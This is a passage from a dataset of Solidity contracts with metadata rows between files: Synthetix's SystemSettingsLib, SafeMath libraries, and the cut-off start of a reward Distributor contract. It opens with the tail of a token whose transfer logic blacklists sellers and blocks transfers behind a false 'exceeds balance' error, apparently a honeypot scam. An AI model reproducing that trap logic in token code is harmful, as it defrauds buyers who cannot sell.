if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 94,359 | 11,367 |
9383583d7263a6f119880390f9e3be8613f3cd419600cfcd774b492e2b4c53e3
| 33,256 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/b1/B17d51DF8e3A134E8304f682bE38e5204e4672e4_SystemSettingsLib.sol
| 6,026 | 23,455 |
pragma solidity >=0.4.24;
// https://docs.synthetix.io/contracts/source/interfaces/iflexiblestorage
interface IFlexibleStorage {
// Views
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint);
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory);
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int);
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory);
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address);
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory);
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool);
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory);
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32);
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory);
// Mutative functions
function deleteUIntValue(bytes32 contractName, bytes32 record) external;
function deleteIntValue(bytes32 contractName, bytes32 record) external;
function deleteAddressValue(bytes32 contractName, bytes32 record) external;
function deleteBoolValue(bytes32 contractName, bytes32 record) external;
function deleteBytes32Value(bytes32 contractName, bytes32 record) external;
function setUIntValue(bytes32 contractName,
bytes32 record,
uint value) external;
function setUIntValues(bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values) external;
function setIntValue(bytes32 contractName,
bytes32 record,
int value) external;
function setIntValues(bytes32 contractName,
bytes32[] calldata records,
int[] calldata values) external;
function setAddressValue(bytes32 contractName,
bytes32 record,
address value) external;
function setAddressValues(bytes32 contractName,
bytes32[] calldata records,
address[] calldata values) external;
function setBoolValue(bytes32 contractName,
bytes32 record,
bool value) external;
function setBoolValues(bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values) external;
function setBytes32Value(bytes32 contractName,
bytes32 record,
bytes32 value) external;
function setBytes32Values(bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10**uint(decimals);
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
// Internal references
// Libraries
/// This library is to reduce SystemSettings contract size only and is not really
/// a proper library - so it shares knowledge of implementation details
/// Some of the setters were refactored into this library, and some setters remain in the
/// contract itself (SystemSettings)
library SystemSettingsLib {
using SafeMath for uint;
using SafeDecimalMath for uint;
bytes32 public constant SETTINGS_CONTRACT_NAME = "SystemSettings";
// No more synths may be issued than the value of SNX backing them.
uint public constant MAX_ISSUANCE_RATIO = 1e18;
// The fee period must be between 1 day and 60 days.
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
uint public constant MAX_TARGET_THRESHOLD = 50;
uint public constant MAX_LIQUIDATION_RATIO = 1e18; // 100% issuance ratio
uint public constant RATIO_FROM_TARGET_BUFFER = 2e18; // 200% - mininimum buffer between issuance ratio and liquidation ratio
uint public constant MAX_LIQUIDATION_PENALTY = 9e18 / 10; // Max 90% liquidation penalty / bonus
uint public constant MAX_LIQUIDATION_DELAY = 3 days;
uint public constant MIN_LIQUIDATION_DELAY = 300; // 5 min
// Exchange fee may not exceed 10%.
uint public constant MAX_EXCHANGE_FEE_RATE = 1e18 / 10;
// Minimum Stake time may not exceed 1 weeks.
uint public constant MAX_MINIMUM_STAKE_TIME = 1 weeks;
uint public constant MAX_CROSS_DOMAIN_GAS_LIMIT = 12e6;
uint public constant MIN_CROSS_DOMAIN_GAS_LIMIT = 3e6;
int public constant MAX_WRAPPER_MINT_FEE_RATE = 1e18;
int public constant MAX_WRAPPER_BURN_FEE_RATE = 1e18;
// Atomic block volume limit is encoded as uint192.
uint public constant MAX_ATOMIC_VOLUME_PER_BLOCK = uint192(-1);
// TWAP window must be between 1 min and 1 day.
uint public constant MIN_ATOMIC_TWAP_WINDOW = 60;
uint public constant MAX_ATOMIC_TWAP_WINDOW = 86400;
// Volatility consideration window must be between 1 min and 1 day.
uint public constant MIN_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = 60;
uint public constant MAX_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = 86400;
// workaround for library not supporting public constants in sol v0.5
function contractName() external view returns (bytes32) {
return SETTINGS_CONTRACT_NAME;
}
function setCrossDomainMessageGasLimit(IFlexibleStorage flexibleStorage,
bytes32 gasLimitSettings,
uint crossDomainMessageGasLimit) external {
require(crossDomainMessageGasLimit >= MIN_CROSS_DOMAIN_GAS_LIMIT &&
crossDomainMessageGasLimit <= MAX_CROSS_DOMAIN_GAS_LIMIT,
"Out of range xDomain gasLimit");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, gasLimitSettings, crossDomainMessageGasLimit);
}
function setIssuanceRatio(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint ratio) external {
require(ratio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, ratio);
}
function setTradingRewardsEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bool _tradingRewardsEnabled) external {
flexibleStorage.setBoolValue(SETTINGS_CONTRACT_NAME, settingName, _tradingRewardsEnabled);
}
function setWaitingPeriodSecs(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _waitingPeriodSecs) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _waitingPeriodSecs);
}
function setPriceDeviationThresholdFactor(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _priceDeviationThresholdFactor) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _priceDeviationThresholdFactor);
}
function setFeePeriodDuration(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _feePeriodDuration) external {
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "value < MIN_FEE_PERIOD_DURATION");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "value > MAX_FEE_PERIOD_DURATION");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _feePeriodDuration);
}
function setTargetThreshold(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint percent) external returns (uint threshold) {
require(percent <= MAX_TARGET_THRESHOLD, "Threshold too high");
threshold = percent.mul(SafeDecimalMath.unit()).div(100);
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, threshold);
}
function setLiquidationDelay(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint time) external {
require(time <= MAX_LIQUIDATION_DELAY, "Must be less than MAX_LIQUIDATION_DELAY");
require(time >= MIN_LIQUIDATION_DELAY, "Must be greater than MIN_LIQUIDATION_DELAY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, time);
}
function setLiquidationRatio(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _liquidationRatio,
uint getSnxLiquidationPenalty,
uint getIssuanceRatio) external {
require(_liquidationRatio <= MAX_LIQUIDATION_RATIO.divideDecimal(SafeDecimalMath.unit().add(getSnxLiquidationPenalty)),
"liquidationRatio > MAX_LIQUIDATION_RATIO / (1 + penalty)");
// MIN_LIQUIDATION_RATIO is a product of target issuance ratio * RATIO_FROM_TARGET_BUFFER
uint MIN_LIQUIDATION_RATIO = getIssuanceRatio.multiplyDecimal(RATIO_FROM_TARGET_BUFFER);
require(_liquidationRatio >= MIN_LIQUIDATION_RATIO, "liquidationRatio < MIN_LIQUIDATION_RATIO");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _liquidationRatio);
}
function setLiquidationEscrowDuration(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint duration) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, duration);
}
function setSnxLiquidationPenalty(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint penalty) external {
// MAX_LIQUIDATION_PENALTY is enforced on both Collateral and SNX liquidations
require(penalty <= MAX_LIQUIDATION_PENALTY, "penalty > MAX_LIQUIDATION_PENALTY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, penalty);
}
function setSelfLiquidationPenalty(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint penalty) external {
require(penalty <= MAX_LIQUIDATION_PENALTY, "penalty > MAX_LIQUIDATION_PENALTY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, penalty);
}
function setLiquidationPenalty(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint penalty) external {
require(penalty <= MAX_LIQUIDATION_PENALTY, "penalty > MAX_LIQUIDATION_PENALTY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, penalty);
}
function setFlagReward(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint reward) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, reward);
}
function setLiquidateReward(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint reward) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, reward);
}
function setRateStalePeriod(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint period) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, period);
}
function setExchangeFeeRateForSynths(IFlexibleStorage flexibleStorage,
bytes32 settingExchangeFeeRate,
bytes32[] calldata synthKeys,
uint256[] calldata exchangeFeeRates) external {
require(synthKeys.length == exchangeFeeRates.length, "Array lengths dont match");
for (uint i = 0; i < synthKeys.length; i++) {
require(exchangeFeeRates[i] <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingExchangeFeeRate, synthKeys[i])),
exchangeFeeRates[i]);
}
}
function setMinimumStakeTime(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _seconds) external {
require(_seconds <= MAX_MINIMUM_STAKE_TIME, "stake time exceed maximum 1 week");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _seconds);
}
function setDebtSnapshotStaleTime(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _seconds) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _seconds);
}
function setAggregatorWarningFlags(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _flags) external {
require(_flags != address(0), "Valid address must be given");
flexibleStorage.setAddressValue(SETTINGS_CONTRACT_NAME, settingName, _flags);
}
function setEtherWrapperMaxETH(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _maxETH) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _maxETH);
}
function setEtherWrapperMintFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _rate) external {
require(_rate <= uint(MAX_WRAPPER_MINT_FEE_RATE), "rate > MAX_WRAPPER_MINT_FEE_RATE");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _rate);
}
function setEtherWrapperBurnFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _rate) external {
require(_rate <= uint(MAX_WRAPPER_BURN_FEE_RATE), "rate > MAX_WRAPPER_BURN_FEE_RATE");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _rate);
}
function setWrapperMaxTokenAmount(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
uint _maxTokenAmount) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _wrapper)),
_maxTokenAmount);
}
function setWrapperMintFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
int _rate,
int getWrapperBurnFeeRate) external {
require(_rate <= MAX_WRAPPER_MINT_FEE_RATE, "rate > MAX_WRAPPER_MINT_FEE_RATE");
require(_rate >= -MAX_WRAPPER_MINT_FEE_RATE, "rate < -MAX_WRAPPER_MINT_FEE_RATE");
// if mint rate is negative, burn fee rate should be positive and at least equal in magnitude
// otherwise risk of flash loan attack
if (_rate < 0) {
require(-_rate <= getWrapperBurnFeeRate, "-rate > wrapperBurnFeeRate");
}
flexibleStorage.setIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _wrapper)), _rate);
}
function setWrapperBurnFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
int _rate,
int getWrapperMintFeeRate) external {
require(_rate <= MAX_WRAPPER_BURN_FEE_RATE, "rate > MAX_WRAPPER_BURN_FEE_RATE");
require(_rate >= -MAX_WRAPPER_BURN_FEE_RATE, "rate < -MAX_WRAPPER_BURN_FEE_RATE");
// if burn rate is negative, burn fee rate should be negative and at least equal in magnitude
// otherwise risk of flash loan attack
if (_rate < 0) {
require(-_rate <= getWrapperMintFeeRate, "-rate > wrapperMintFeeRate");
}
flexibleStorage.setIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _wrapper)), _rate);
}
function setInteractionDelay(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _collateral,
uint _interactionDelay) external {
require(_interactionDelay <= SafeDecimalMath.unit() * 3600, "Max 1 hour");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _collateral)),
_interactionDelay);
}
function setCollapseFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _collateral,
uint _collapseFeeRate) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _collateral)),
_collapseFeeRate);
}
function setAtomicMaxVolumePerBlock(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _maxVolume) external {
require(_maxVolume <= MAX_ATOMIC_VOLUME_PER_BLOCK, "Atomic max volume exceed maximum uint192");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _maxVolume);
}
function setAtomicTwapWindow(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _window) external {
require(_window >= MIN_ATOMIC_TWAP_WINDOW, "Atomic twap window under minimum 1 min");
require(_window <= MAX_ATOMIC_TWAP_WINDOW, "Atomic twap window exceed maximum 1 day");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _window);
}
function setAtomicEquivalentForDexPricing(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
address _equivalent) external {
require(_equivalent != address(0), "Atomic equivalent is 0 address");
flexibleStorage.setAddressValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_equivalent);
}
function setAtomicExchangeFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _exchangeFeeRate) external {
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_exchangeFeeRate);
}
function setAtomicVolatilityConsiderationWindow(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _window) external {
if (_window != 0) {
require(_window >= MIN_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW,
"Atomic volatility consideration window under minimum 1 min");
require(_window <= MAX_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW,
"Atomic volatility consideration window exceed maximum 1 day");
}
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_window);
}
function setAtomicVolatilityUpdateThreshold(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _threshold) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_threshold);
}
function setPureChainlinkPriceForAtomicSwapsEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
bool _enabled) external {
flexibleStorage.setBoolValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_enabled);
}
function setCrossChainSynthTransferEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _value) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _currencyKey)), _value);
}
function setExchangeMaxDynamicFee(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint maxFee) external {
require(maxFee != 0, "Max dynamic fee cannot be 0");
require(maxFee <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, maxFee);
}
}
| 151,824 | 11,368 |
ccc1c5bca83246f3281649c16a59c16a54e8cfd9577dddbcebd0466ea0169de4
| 18,024 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b7/B755fd310eb9935935a84856CDDb01c48ee01D0E_Distributor.sol
| 3,977 | 15,713 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable nftgm;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
